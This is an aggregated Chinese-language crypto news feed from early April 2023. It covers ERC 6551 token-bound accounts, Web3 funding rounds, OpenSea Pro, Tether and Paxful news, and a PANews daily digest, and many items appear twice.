    Chainfeeds 导读： Future Primitive 团队推出了基于代币绑定账户（ERC 6551）的新技术，为每个 NFT 提供自己的账户 / 钱包地址。Futrue Primitive 和 CryptoKitties 的联合创始人 Benny Giang 对新推出的代币绑定账户（ERC 6551）进行了介绍。本文由 Biteye 编译。 文章来源： https://mp.weixin.qq.com/s/AmAtCoL9G4p0oSaWWavoiw 文章作者： Benny Giang 观点： Benny Giang：目前 NFT 只是一种静态资产，不带有交易历史、签名控制和链接的所有权。借助 ERC 6551 或代币绑定账户，我们能够在所有现有和新的 NFT 之上无缝添加新的所有权层，在链上开辟大多数项目创建者一直想添加但尚未找到简单方法的新用例：装备数字服装和物品、ERC 20 代币赚取 / 空投模型、通过参与获得的 POAPS 或徽章、将整个集合作为一个单元进行交易、NFT 作为链上身份具有在社交网络模型上分层的能力。 内容来源 Benny Giang：它的优势在于不需要对目前的 ERC 721、Wrapped 后的合约、或者是 NFT 持有者的任何行为进行重大更改。因为代币绑定账户使用的是智能合约钱包进行绑定，一旦 ERC 6551 进入主网，每个 NFT 都会自动拥有一个绑定的地址，无需任何额外的操作。 内容来源  ( 32 min )
    ZK 技术支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投
    ZK 技术支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投 据 CoinDesk 报道，提供由零知识证明支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投， ABCDE、Sparkle Ventures、HashKey Capital、Foresight Ventures、Kucoin Ventures、NGC Ventures 和 Arcane Group 等参投。据悉，Polyhedra Network 正在构建一套专注于区块链互操作性、可扩展性和隐私的系统，包括促进跨链资产和数据传输的 zkBridge。 内容来源  ( 27 min )
    ZK 技术支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投
    ZK 技术支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投 据 CoinDesk 报道，提供由零知识证明支持的 Web3 基础设施公司 Polyhedra Network 完成 1500 万美元 PreA 轮融资，Polychain Capital 领投， ABCDE、Sparkle Ventures、HashKey Capital、Foresight Ventures、Kucoin Ventures、NGC Ventures 和 Arcane Group 等参投。据悉，Polyhedra Network 正在构建一套专注于区块链互操作性、可扩展性和隐私的系统，包括促进跨链资产和数据传输的 zkBridge。 内容来源  ( 27 min )
    LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，a16z 与红杉资本等参投
    LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，a16z 与红杉资本等参投 据 CoinDesk 报道，跨链互操作性协议 LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，投资方包括 a16z Crypto、Atrum Global、Bixin Ventures、BOND、佳士得拍卖行、IOBC Capital、NGC Ventures、OKX Ventures、OpenSea Ventures、Protofund、三星 Next 和红杉资本等。本轮资金将用于扩大增长计划，包括招聘和扩大公司在亚太地区的业务。 2022 年 3 月份，LayerZero 以 10 亿美元估值完成 1.35 亿美元 A+ 轮融资，由 FTX Ventures、红杉资本与 a16z 共同领投，Coinbase Ventures、PayPal Ventures、Tiger Global 和 Uniswap Labs 等参投。 内容来源  ( 29 min )
    LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，a16z 与红杉资本等参投
    LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，a16z 与红杉资本等参投 据 CoinDesk 报道，跨链互操作性协议 LayerZero 以 30 亿美元估值完成 1.2 亿美元 B 轮融资，投资方包括 a16z Crypto、Atrum Global、Bixin Ventures、BOND、佳士得拍卖行、IOBC Capital、NGC Ventures、OKX Ventures、OpenSea Ventures、Protofund、三星 Next 和红杉资本等。本轮资金将用于扩大增长计划，包括招聘和扩大公司在亚太地区的业务。 2022 年 3 月份，LayerZero 以 10 亿美元估值完成 1.35 亿美元 A+ 轮融资，由 FTX Ventures、红杉资本与 a16z 共同领投，Coinbase Ventures、PayPal Ventures、Tiger Global 和 Uniswap Labs 等参投。 内容来源  ( 29 min )
    Delphi Labs 完成 1350 万美元融资，P2P 领投
    Delphi Labs 完成 1350 万美元融资，P2P 领投 据 CoinDesk 报道，Delphi Digital 的孵化部门 Delphi Labs 宣布完成 1350 万美金融资，P2P（流动性质押协议 Lido 的创建者）领投，Jump crypto 参投。这些资金将用于建立一个加速器，旨在促进 Web3 项目团队的成长，加速器中的每个团队将获得 20 万美元的资金。该计划的主要部分将持续四到六个月，项目团队将在计划结束时被介绍给 Delphi Labs 的潜在投资者。参与者将从由工程师、经济学家、设计师、律师和企业家组成的核心团队那里获得有关产品开发、法律咨询和上市策略等各方面的实际建议。 内容来源  ( 27 min )
    Delphi Labs 完成 1350 万美元融资，P2P 领投
    Delphi Labs 完成 1350 万美元融资，P2P 领投 据 CoinDesk 报道，Delphi Digital 的孵化部门 Delphi Labs 宣布完成 1350 万美金融资，P2P（流动性质押协议 Lido 的创建者）领投，Jump crypto 参投。这些资金将用于建立一个加速器，旨在促进 Web3 项目团队的成长，加速器中的每个团队将获得 20 万美元的资金。该计划的主要部分将持续四到六个月，项目团队将在计划结束时被介绍给 Delphi Labs 的潜在投资者。参与者将从由工程师、经济学家、设计师、律师和企业家组成的核心团队那里获得有关产品开发、法律咨询和上市策略等各方面的实际建议。 内容来源  ( 27 min )
    Gem v2 更名为 OpenSea Pro，早期用户可以免费领取「Gemesis」NFT
    Gem v2 更名为 OpenSea Pro，早期用户可以免费领取「Gemesis」NFT OpenSea 宣布此前收购的 NFT 市场聚合器 Gem v2 正式更名为 OpenSea Pro，在 2023 年 3 月 31 日之前使用过 Gem 的用户将能够在 2023 年 5 月 4 日之前免费领取 「Gemesis」NFT。该 NFT 可在 OpenSea 上直接铸造，铸造页面将于今天稍晚上线。OpenSea Pro 聚合了 170 多个 NFT 市场，支持移动设备，还具有监视列表、Live Mints 概览、批量转移等功能。 内容来源  ( 2 min )
    Gem v2 更名为 OpenSea Pro，早期用户可以免费领取「Gemesis」NFT
    Gem v2 更名为 OpenSea Pro，早期用户可以免费领取「Gemesis」NFT OpenSea 宣布此前收购的 NFT 市场聚合器 Gem v2 正式更名为 OpenSea Pro，在 2023 年 3 月 31 日之前使用过 Gem 的用户将能够在 2023 年 5 月 4 日之前免费领取 「Gemesis」NFT。该 NFT 可在 OpenSea 上直接铸造，铸造页面将于今天稍晚上线。OpenSea Pro 聚合了 170 多个 NFT 市场，支持移动设备，还具有监视列表、Live Mints 概览、批量转移等功能。 内容来源  ( 2 min )

  • Open

    数据：代币化黄金资产总市值超过10亿美元
    PANews 4月5日消息，CoinGecko的数据显示，随着金价接近历史高点，代币化黄金资产的总市值超过了10亿美元。代币化黄金是一种稳定币，其价格与黄金挂钩。它为投资者提供了一种投资黄金的方式，既不需要支付ETF管理费，也不用承担金条的存储成本。目前最大的两种黄金稳定币是由纽约金融科技公司Paxos Trust Company发行的PAXG以及由Tether发行的XAUT。截至目前，PAXG和XAUT的市值分别为5.18亿美元和4.99亿美元。  ( 1 min )
    数据：代币化黄金资产总市值超过10亿美元
    PANews 4月5日消息，CoinGecko的数据显示，随着金价接近历史高点，代币化黄金资产的总市值超过了10亿美元。代币化黄金是一种稳定币，其价格与黄金挂钩。它为投资者提供了一种投资黄金的方式，既不需要支付ETF管理费，也不用承担金条的存储成本。目前最大的两种黄金稳定币是由纽约金融科技公司Paxos Trust Company发行的PAXG以及由Tether发行的XAUT。截至目前，PAXG和XAUT的市值分别为5.18亿美元和4.99亿美元。  ( 1 min )
    区块链数据索引平台Satsuma完成500万美元种子轮融资
    PANews 4月5日消息，据The Block报道，区块链数据索引平台Satsuma宣布完成500万美元种子轮融资，Initialization Capital和Archetype领投，OpenSea、 Y Combinator、 Homebrew、South Park Commons等参投。Satsuma成立于去年3月，使用The Graph的开源技术查询和索引链上数据。Satsuma并非去中心化协议，而是一个采用SAAS（软件即服务）模式的业务实体。Satsuma从客户那里获得他们所需区块链数据的细节，然后以自定义API的形式处理这些数据。其客户包括Decentraland、Aragon和Syndicate。  ( 1 min )
    区块链数据索引平台Satsuma完成500万美元种子轮融资
    PANews 4月5日消息，据The Block报道，区块链数据索引平台Satsuma宣布完成500万美元种子轮融资，Initialization Capital和Archetype领投，OpenSea、 Y Combinator、 Homebrew、South Park Commons等参投。Satsuma成立于去年3月，使用The Graph的开源技术查询和索引链上数据。Satsuma并非去中心化协议，而是一个采用SAAS（软件即服务）模式的业务实体。Satsuma从客户那里获得他们所需区块链数据的细节，然后以自定义API的形式处理这些数据。其客户包括Decentraland、Aragon和Syndicate。  ( 1 min )
    彭博社：Tether利用Signature Bank将美国客户资金从美国转移到巴哈马
    PANews 4月5日消息，据彭博社报道，稳定币发行商Tether利用Signature Bank将美元资金从美国转移到巴哈马。直到今年3月Signature Bank关闭并被监管机构接管前，Tether一直使用Signature Bank的Signet支付平台将美国客户的资金转移到Capital Union Bank，后者是该公司在巴哈马的银行合作伙伴。随后Tether首席技术官Paolo Ardoino在推特上回应了这篇报道，称Tether“对Signature没有任何直接或间接敞口”。Signet成立于2019年，是一个实时支付平台，即使在Signature Bank关闭后该平台仍在继续运营。  ( 1 min )
    彭博社：Tether利用Signature Bank将美国客户资金从美国转移到巴哈马
    PANews 4月5日消息，据彭博社报道，稳定币发行商Tether利用Signature Bank将美元资金从美国转移到巴哈马。直到今年3月Signature Bank关闭并被监管机构接管前，Tether一直使用Signature Bank的Signet支付平台将美国客户的资金转移到Capital Union Bank，后者是该公司在巴哈马的银行合作伙伴。随后Tether首席技术官Paolo Ardoino在推特上回应了这篇报道，称Tether“对Signature没有任何直接或间接敞口”。Signet成立于2019年，是一个实时支付平台，即使在Signature Bank关闭后该平台仍在继续运营。  ( 1 min )
    Gem更名为OpenSea Pro，将向用户空投“Gemesis”NFT
    PANews 4月5日消息，OpenSea Pro推特发文称，在2023年3月31日之前使用过Gem的用户有资格领取“Gemesis”NFT。该NFT可在OpenSea上直接铸造，铸造页面将于今天稍晚上线。据此前消息，Gem今天宣布更名为OpenSea Pro，并上线新版官网。官网表示，OpenSea Pro仍在追踪用户在平台上的活动，并将持续“记分”。2022年4月，OpenSea宣布收购Gem，收购完成后Gem作为独立的产品和品牌运营。  ( 1 min )
    Gem更名为OpenSea Pro，将向用户空投“Gemesis”NFT
    PANews 4月5日消息，OpenSea Pro推特发文称，在2023年3月31日之前使用过Gem的用户有资格领取“Gemesis”NFT。该NFT可在OpenSea上直接铸造，铸造页面将于今天稍晚上线。据此前消息，Gem今天宣布更名为OpenSea Pro，并上线新版官网。官网表示，OpenSea Pro仍在追踪用户在平台上的活动，并将持续“记分”。2022年4月，OpenSea宣布收购Gem，收购完成后Gem作为独立的产品和品牌运营。  ( 1 min )
    特朗普正式被拘捕，对34项重罪指控拒不认罪
    PANews 4月5日消息，据英国天空电视台报道，美国前总统特朗普正式被拘捕，成为美国历史上第一位受到刑事罪名指控的前总统。随后，CNN等美国媒体也报道了特朗普被拘捕的消息。在对34项伪造商业记录的重罪指控提出“无罪辩护”后，特朗普已离开曼哈顿刑事法院法庭。OpenSea的数据显示，特朗普NFT系列在他出庭后的一个小时内共售出30个，6个小时内共售出47个。  ( 1 min )
    特朗普正式被拘捕，对34项重罪指控拒不认罪
    PANews 4月5日消息，据英国天空电视台报道，美国前总统特朗普正式被拘捕，成为美国历史上第一位受到刑事罪名指控的前总统。随后，CNN等美国媒体也报道了特朗普被拘捕的消息。在对34项伪造商业记录的重罪指控提出“无罪辩护”后，特朗普已离开曼哈顿刑事法院法庭。OpenSea的数据显示，特朗普NFT系列在他出庭后的一个小时内共售出30个，6个小时内共售出47个。  ( 1 min )
    Circle宣布推出开发者仪表板，包括API日志与Webhook订阅管理工具
    PANews 4月4日消息，Circle宣布在Circle Account中提供了一个开发者仪表板，用于开发人员管理与Circle的集成。开发者仪表板目前包括两个新的web3开发人员工具：API日志和Webhook订阅管理。开发人员无需设置就能够查看API请求和对Circle API做出的响应的历史记录。在接下来的几个月中，开发人员仪表板将推出三项新功能，包括：API密钥管理、可视化API指标、查看事件通知历史。  ( 1 min )
    Circle宣布推出开发者仪表板，包括API日志与Webhook订阅管理工具
    PANews 4月4日消息，Circle宣布在Circle Account中提供了一个开发者仪表板，用于开发人员管理与Circle的集成。开发者仪表板目前包括两个新的web3开发人员工具：API日志和Webhook订阅管理。开发人员无需设置就能够查看API请求和对Circle API做出的响应的历史记录。在接下来的几个月中，开发人员仪表板将推出三项新功能，包括：API密钥管理、可视化API指标、查看事件通知历史。  ( 1 min )
    比特币P2P市场Paxful宣布暂停运营，并建议用户尽快取回资金
    PANews 4月4日消息，据CryptoSlate报道，比特币P2P市场Paxful首席执行官Ray Youssef宣布Paxful暂停运营，并称此次暂停可能是永久性的。根据说明，Paxful钱包将保持活跃状态​​，以允许客户取回“全部入账”的资金。Ray Youssef表示，首要任务是维护客户资金的安全。Paxos为非美国用户提供了轻松迁移到其他点对点平台的选项，以确保他们能够快速安全地取回资金。并建议将Exodus钱包和Muun钱包作为安全选项。 此前消息，Paxful CEO表示将向在Celsius Earn中损失资金的Paxful用户进行退款。  ( 1 min )
    比特币P2P市场Paxful宣布暂停运营，并建议用户尽快取回资金
    PANews 4月4日消息，据CryptoSlate报道，比特币P2P市场Paxful首席执行官Ray Youssef宣布Paxful暂停运营，并称此次暂停可能是永久性的。根据说明，Paxful钱包将保持活跃状态​​，以允许客户取回“全部入账”的资金。Ray Youssef表示，首要任务是维护客户资金的安全。Paxos为非美国用户提供了轻松迁移到其他点对点平台的选项，以确保他们能够快速安全地取回资金。并建议将Exodus钱包和Muun钱包作为安全选项。 此前消息，Paxful CEO表示将向在Celsius Earn中损失资金的Paxful用户进行退款。  ( 1 min )
    数据：过去24小时内，狗狗币期货清算额跃升至2600万美元
    PANews 4月4日消息，据CoinDesk报道，Coinglass的数据显示，追踪流行的狗狗币 (DOGE) 代币的期货在过去24小时内，清算额高达2600万美元。大部分清算发生在推特网页Logo变更为狗狗币表情后。  ( 1 min )
    数据：过去24小时内，狗狗币期货清算额跃升至2600万美元
    PANews 4月4日消息，据CoinDesk报道，Coinglass的数据显示，追踪流行的狗狗币 (DOGE) 代币的期货在过去24小时内，清算额高达2600万美元。大部分清算发生在推特网页Logo变更为狗狗币表情后。  ( 1 min )
    Web3平台Ecosapiens完成350万美元种子轮融资，Collab+Currency领投
    PANews 4月4日消息，据Businesswire报道，Web3碳足迹解决方案公司Ecosapiens完成350万美元种子轮融资，Collab+Currency领投，Celo首席财务官Alex Witt、Moonbirds前首席运营官Ryan Carson、Boost VC、Slow Ventures、Menlo Ventures和Alumni Ventures Blockchain Fund等参投。据悉，Ecosapiens将提供一系列数字基础设施和资源，包括NFT、碳基础设施、聊天群，甚至漫画系列，使人们和企业能够轻松参与和减少碳足迹，使用更可持续的产品并支持通过他们创建的社区向绿色经济过渡。  ( 1 min )
    Web3平台Ecosapiens完成350万美元种子轮融资，Collab+Currency领投
    PANews 4月4日消息，据Businesswire报道，Web3碳足迹解决方案公司Ecosapiens完成350万美元种子轮融资，Collab+Currency领投，Celo首席财务官Alex Witt、Moonbirds前首席运营官Ryan Carson、Boost VC、Slow Ventures、Menlo Ventures和Alumni Ventures Blockchain Fund等参投。据悉，Ecosapiens将提供一系列数字基础设施和资源，包括NFT、碳基础设施、聊天群，甚至漫画系列，使人们和企业能够轻松参与和减少碳足迹，使用更可持续的产品并支持通过他们创建的社区向绿色经济过渡。  ( 1 min )
    Delphi Labs完成1350万美元融资，P2P领投
    PANews 4月4日消息，据CoinDesk报道，Delphi Digital旗下协议研发部门Delphi Labs宣布完成1350万美金融资，P2P领投，Jump crypto参投。这些资金将用于建立一个加速器，旨在促进Web3项目的团队的成长。此次融资是Delphi Labs首次寻求外部投资。据悉，加速器中的每个团队将获得20万美元的资金。该计划的主要部分将持续四到六个月，项目团队将在计划结束时被介绍给Delphi Labs的潜在投资者。参与者将从由工程师、经济学家、设计师、律师和企业家组成的核心团队那里获得有关产品开发、法律咨询和上市策略等方面的实际建议。  ( 1 min )
    Delphi Labs完成1350万美元融资，P2P领投
    PANews 4月4日消息，据CoinDesk报道，Delphi Digital旗下协议研发部门Delphi Labs宣布完成1350万美金融资，P2P领投，Jump crypto参投。这些资金将用于建立一个加速器，旨在促进Web3项目的团队的成长。此次融资是Delphi Labs首次寻求外部投资。据悉，加速器中的每个团队将获得20万美元的资金。该计划的主要部分将持续四到六个月，项目团队将在计划结束时被介绍给Delphi Labs的潜在投资者。参与者将从由工程师、经济学家、设计师、律师和企业家组成的核心团队那里获得有关产品开发、法律咨询和上市策略等方面的实际建议。  ( 1 min )
    Lido社区提出批准授权成立金库管理委员会的提案
    PANews 4月4日消息，流动性质押协议Lido社区提出有关批准Lido金库管理原则和授权成立金库管理委员会的提案，以提出受原则约束的金库管理策略和执行。提议的金库管理原则包括ETH是Lido DAO的主要账户单位、Lido DAO的资金是协议弹性和未来增长的源泉，可以资助进一步实现协议去中心化和网络安全目标的计划；在任何情况下都应将金库资金的损失风险降至最低；所有金库ETH必须质押在Lido；LDO持有者拥有最终发言权。  ( 1 min )
    Lido社区提出批准授权成立金库管理委员会的提案
    PANews 4月4日消息，流动性质押协议Lido社区提出有关批准Lido金库管理原则和授权成立金库管理委员会的提案，以提出受原则约束的金库管理策略和执行。提议的金库管理原则包括ETH是Lido DAO的主要账户单位、Lido DAO的资金是协议弹性和未来增长的源泉，可以资助进一步实现协议去中心化和网络安全目标的计划；在任何情况下都应将金库资金的损失风险降至最低；所有金库ETH必须质押在Lido；LDO持有者拥有最终发言权。  ( 1 min )
    PA日报 | 推特网页Logo变更为狗狗币表情；Arbitrum改进提案AIP-1未通过
    今日要闻提示： 1.Arbitrum改进提案AIP-1未获投票通过，反对率近77% 2.Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域 3.币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言 4.推特网页Logo变更为狗狗币表情 5.Euler Labs：已追回攻击者盗取的全部资金 6.SPACE ID宣布推出2.0版本，包含礼品卡等四大功能 7.zkSync：部分用户存款失败，将在24小时内部署修复程序 8.数据：币安交易量的全球市场份额在一季度减少16%，降至54% 监管消息 日本金融厅：币安在未经适当注册的情况下开展业务 日本金融厅 (FSA) 表示，加密货币交易所币安（Binance Holdings Limited，代表者Changpeng Zhao）在未经适当注册的情况下在该国开展业务，违反了日本的资金结算规定。 此前报道，日本金融厅对Bybit、MEXC、Bitget和Bitforex四家加密交易所发出警告。 币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言 针对推特上有关“国际刑警组织向赵长鹏发出红色通缉令”的传言，币安发言人在电子邮件声明中表示，“这个谣言不是真的”。赵长鹏也在推特作出回应，称网上流传的通缉令是PS过的照片，并建议用户屏蔽FUD来源。 币安面临美佛罗里达州“数十万名”投资者的集体诉讼 据Blockworks报道，上周五，由集体诉讼资深律师Adam Moskowitz领导的律师事务所Moskowitz代表“数十万受害者”，对币安、首席执行官赵长鹏以及在佛罗里达州推广该交易所的名人（包括NBA迈阿密热火队球星吉米巴特勒）提起诉讼。Moskowitz也正参与针对FTX和Voyager Digital的集体诉讼。 Moskowitz对此案的诉讼依据集中在《蓝天法》上，该法案是美国各州制定的证券法的统称，用于规范一个区域内的证券交易，以及股票经纪人和投资顾问的注册。Moskowitz表示，币安、FTX和Voyager以及附属个人“都涉嫌出售和推广未注册证券”。法律专家表示，由于加密货币不在全国性证券交易所交易，因此这一资产类别可能会受到国家级监管规定的约束，这为更多未注册的证券诉讼提供了可能。 赵长鹏：近期FUD或由其他交易所赞助传播，行业应团结而非攻击同行 币安首席执行官赵长鹏发推文称：“最新的 FUD只由加密新闻媒体和KOL传播，很可能是由另一个交易所植入/赞助的。这种做法非常小气，伤害了行业，也伤害了他们自己。有足够多的外部力量在攻击我们，我们的行业需要在这个节骨眼上团结起来。” 此前今日早些时候消息，币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言。 美司法部已扣押涉加密投资骗局价值1.12亿美元的数字资产 美国司法部 (DOJ)在公告中表示，它已扣押了价值1.12亿美元的与加密投资诈骗有关的数字资产。亚利桑那地区、加利福尼亚中区和爱达荷地区的法官授权扣押6个虚拟货币账户。 根据法庭文件，这些虚拟货币账户据称被用于清洗各种加密货币信任诈骗的收益。在相关骗局中，作案者通过社交网络、交友网站、电话、短信等通讯方式逐渐赢得受害人的信任。最终，犯罪者说服他们的目标投资于虚假的加密货币平台，然后再将被盗资金转移到他们自己的地址。 美国司法部指出，2022年，在向联邦调查局互联网犯罪投诉中心(IC3)报告的所有骗局中，投资欺诈造成的损失最高，共计33.1亿美元。涉及加密货币的欺诈，包括杀猪盘，占了这些骗局的大部分，从2021年到去年报告的损失增长了183%，达到25.7亿美元。 NFT 马斯克发布一条附带“SeizeJPGs” NFT图片的推文 在将推特LOGO更改为DOGE狗狗头像之后，马斯克（Elon Musk）又在推特上发布了一张来自Punk 6259推出的Meme Card系列中的“SeizeJPGs” NFT。马斯克的相关举动也推高了DOGE和SeizeJPGs价格，在推特更改LOGO后不久，狗狗币DOGE的价格飙升了近30%，而在这条“SeizeJPGs” 推文发布后的几分钟内，该作品在OpenSea上交易价格就从三天前的0.5 ETH飙升到超过2 ETH，本文撰写时达到2.1 ETH。 今日早些时候消息，推特网页Logo变更为狗狗币表情，狗狗币日内上涨超过20%。 国际足联推出AI驱动的世界杯手游，并拟为该游戏推出NFT市场 据Decrypt报道，国际足球联合会(FIFA)今天推出了AI驱动的世界杯足球手机游戏World Cup AI League的公开测试版，其角色、外观和游戏元素均采用人工智能。 根据一份声明，Web3人工智能公司Altered State Machine开发了这款手机游戏，该游戏目前可在Android上使用，并计划“很快”推出iOS版本。该游戏的公开测试版是其去年11月推出的世界杯预测游戏的扩展迭代。 此外，Altered State发言人透露，它计划在不久的将来为该游戏推出一个NFT市场。届时游戏的角色将被铸造成NFT，并且所有角色都将通过NFT来代表。 元宇宙 Yuga Labs：将启动Otherdeed Expanded NFT铸造，以解锁LOTM等游戏体验 Yuga Labs更新元宇宙平台Otherside的2D策略游戏Legends of the Mara（LOTM）玩法，用户可通过参与Koda“解耦（Decoupling）”和Vessel申领，用户的Otherdeed将被销毁，并将成为Otherdeed Expanded NFT的一部分，新的NFT将转移到用户钱包，这些新收藏是用户通过Otherdeed Expanded解锁游戏体验的关键，包括LOTM游戏。 据介绍，Otherdeed Expanded是可以随时间变化的动态NFT。LOTM游戏两个关键组成部分是Otherside Koda NFT和Otherside Vessel NFT，Koda Decoupling将于本周进行，Vessel申领将于本周晚些时候开放，都将无限期开放。 项目动态 SPACE ID宣布推出2.0版本，包含礼品卡等四大功能 Web3身份平台SPACE ID宣布推出2.0版本，Beta版已成过去。SPACE ID 2.0包含Referral Program、SPACE ID礼品卡、推荐计划（Referral Program）、SPACE ID Voyage Program四大功能。BNB Chain 和 Arbitrum现已支持SPACE ID礼品卡。兑换的积分可用于抵消.bnb或.arb域名注册和延期期间的费用。此外，SPACE ID 2.0市场费用调整为1.5%。 Euler Labs：已追回攻击者盗取的全部资金 Euler Labs在推特上表示，经过成功协商，攻击者已归还3月13日从协议中盗取的所有资金，因为攻击者已归还资金，基金会发起的100万美元悬赏活动将不再接受新信息，详细信息将于明天发布。 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。 Arbitrum改进提案AIP-1未获投票通过，反对率近77% Snapshot投票页面显示，Arbitrum基金会发起的综合治理包Arbitrum改进提案（AIP-1）投票未获通过，反对票占比达76.67%。 此前消息，Arbitrum基金会在社区强烈反对之下拟将AIP-1提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改。 韩联社：Do Kwon曾在逃亡期间拒绝美国的司法管辖权 据韩联社报道，经证实，Terraform Labs首席执行官Do Kwon曾在逃跑期间拒绝美国的司法管辖权。 该媒体称，Do Kwon和Terraform Labs曾要求美国最高法院将提交上诉请求的截止日期从去年8月18日推迟30天至10月6日。在提交给美国最高法院的文件中，Kwon的律师提出抗议，称“虽然Terraform是一家新加坡公司，Kwon也是新加坡居民，但第二上诉法院承认了美SEC的属人管辖权。Terraform大部分业务基本上都是全球性的，并不专门针对美国。SEC的行动违反法律，和其他法院的决定也相冲突。” 此外，Kwon的律师还要求延期提交上诉申请，美国最高法院是否真的接受了延期请求，或者Kwon是否真的提出了上诉，目前还没有得到证实。但去年8月中旬，Do Kwon在接受采访时称其已搬至新加坡，并表示会配合韩国检方的调查。9月初，Do Kwon偷偷离开新加坡，经阿联酋迪拜前往塞尔维亚，9月底，国际刑警组织发现其逃亡一事而发出红色通缉令。有人认为，Do Kwon的这些行为系发出“烟雾弹”来确保逃跑所需时间，也可被解读为Do Kwon否认了美国当局的管辖权，意图在未来降低处罚力度。 新网络钓鱼诈骗团队Venom Drainer已从1.5万名加密投资者骗取2700万美元 Web3反诈骗工具Scam Sniffer发文称，作为服务提供商的新骗局Venom Drainer已从1.5万名投资者骗取了2700万美元，前5名受害者损失了1400万美元。目前该骗局已创建530个钓鱼网站，针对Arbitrum、Blur、zkSync、Optimism和MetaMask等170多个项目。 其网络钓鱼方法包括：获取受害者的批准，并在区块链上转移ERC20代币；欺骗用户签署恶意NFT上市，通常具有较低的上市价格。Venom Drainer首次出现在网络钓鱼诈骗团队Monkey Drainer声称下线的公告中，Monkey Drainer在给客户的消息中推荐了Venom Drainer。 zkSync：部分用户存款失败，将在24小时内部署修复程序 zkSync在其官方Discord社区表示，注意到部分用户在zkSync Era网络出现存款失败问题，有部分用户可能会失去他们的gas费，团队正在努力修复，预计将在未来24小时内部署修复程序。 Arbitrum社区发布“将诈骗者列入黑名单并向受害者退款”的新提案 Layer 2网络Arbitrum社区发布了一箱新提案，提议将将诈骗者列入黑名单并将其资金退还给无法领取ARB空投的受害者。为实施该提案，DAO将需要分配资源用于开发报告和黑名单流程，并制定确定退款资格的指南。DAO还需要与其他去中心化金融平台和中心化交易所合作，共享黑名单，防止骗子套现。该提案将需要持续监测和评估，以确保其有效性。 融资消息 Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域 据TechCrunch报道，拉丁美洲风投基金Kaszek Ventures通过旗下两支新基金筹集了9.75亿美元，包括5.4亿美元的早期基金Kaszek Ventures VI与4.35亿美元的后期投资工具Kaszek Ventures Opportunity-III (KVO-III)。 Kaszek计划从其早期基金中向（处于种子期、A轮和B轮阶段的）20到30家公司投入资金，投资规模从50万美元到2500万美元不等。其后期投资基金的投资将更加集中，该公司的目标是投资10至15家公司，投资规模在1,000万至5,000万美元之间。 Kaszek投资组合包括区块链、金融科技、企业/SaaS、房地产科技、保险科技、健康科技、教育科技、电子商务、食品科技、气候科技和生物科技等一系列行业的公司。此前曾参投巴西数字银行Nubank、加密交易所Bitso、数字支付平台Kushki等。 沙特公共基金旗下风险投资公司Sanabil披露多项对a16z在内的Web3领域投资 沙特公共基金旗下的风险投资公司Sanabil披露了对近40家美国风险投资公司的投资，其中包括一些深入加密货币、区块链和Web3相关的投资。 包括a16z、Polychain Capital、Griffin Gaming Partners、500 Startups、9Yards、B Capital、Collaborative Fund、Costanoa、Craft Ventures、Dragoneer、Greenoaks Capital、Human Capital、ICONIQ Capital、Insight Partners、KKR、Legend Capital 、Race Capital、Soma Capital、TCV、Techstars、Third Point Venture、Uncorrelated、Valar Ventures、Valor Equity Partners 和 Village Global。但尚未披露对每只基金的具体投资细节。 据悉，Sanabil将50%的资产配置分配给风险投资，30%分配给私募股权，20%分配给流动性投资组合。虽然Sanabil已披露支持对加密货币友好的风险投资公司，但尚不清楚其流动投资组合是否包括数字资产。 加密交易平台Bitget获得Dragonfly 1000万美元战略投资 总部位于旧金山的加密风险投资公司Dragonfly Capital宣布对加密衍生品交易所Bitget进行1000万美元的战略投资。这笔投资将支持Bitget正在进行的全球市场和服务范围的扩张，以及开展更多加密资产相关的公益教育行动。 Bitget的董事总经理Gracy Chen 表示：“Bitget作为过去12个月增长最快的交易所，这项投资是对我们在熊市中专注建设的认可。除了资金上的支持，我们更看重Dragonfly在加密领域的专业和经验。同时，其庞大的投资组合也有助于我们构建覆盖从CeFi到DeFi的加密生态。” 此前消息，Bitget以3亿美元的估值追加投资3000万美元，收购了加密钱包BitKeep的控股权。 矿业消息 比特币矿企Marathon Digital 3月产出825枚BTC，环比增加21% 比特币矿企Marathon Digital发布3月运营更新，该公司在3月产出825枚比特币，环比增加21%；2023年Q1共计产出2195枚BTC。2023年Q1算力增加64%，达到11.5 EH/s。截至2023年3月31日，将不受限制的比特币持有量增加到11,466枚比特币（约3.265亿美元）。 此外，截止3月31日，Marathon运营哈希率已增至11.5 EH/s，较1月1日的7.0 EH/s增加了64%。Marathon于3月偿还了定期贷款并终止了与Silvergate Bank的信贷安排。这些行动将Marathon的债务减少了5000万美元，并将公司的无限制比特币持有量增加了3,132枚BTC。 重要数据 数据：DOGE第五大持有者今日凌晨转出6.5亿枚DOGE，约合6130万美元 Bitinfocharts数据显示，今日凌晨3:48，DOGE的第五大持有者（DDuXGM开头的地址）转出6.5亿枚DOGE （约合6130万美元）。 该地址曾于3月30日转出3.5亿枚DOGE。目前该地址还持有约37.87亿枚DOGE（约合3.69亿美元）。 数据：币安交易量的全球市场份额在一季度减少16%，降至54% 据加密数据公司Kaiko的最新报告，第一季度币安交易量的市场份额减少16%，降至54%。这或系受CFTC对其提起的诉讼和其决定终止零费用交易计划的影响。 此外在美国市场，在整个第一季度，Coinbase 的市场份额从每周平均60%下降到仅49%，而Binance.US的市场份额则从8%增长两倍，达到超过24%。  ( 3 min )
    PA日报 | 推特网页Logo变更为狗狗币表情；Arbitrum改进提案AIP-1未通过
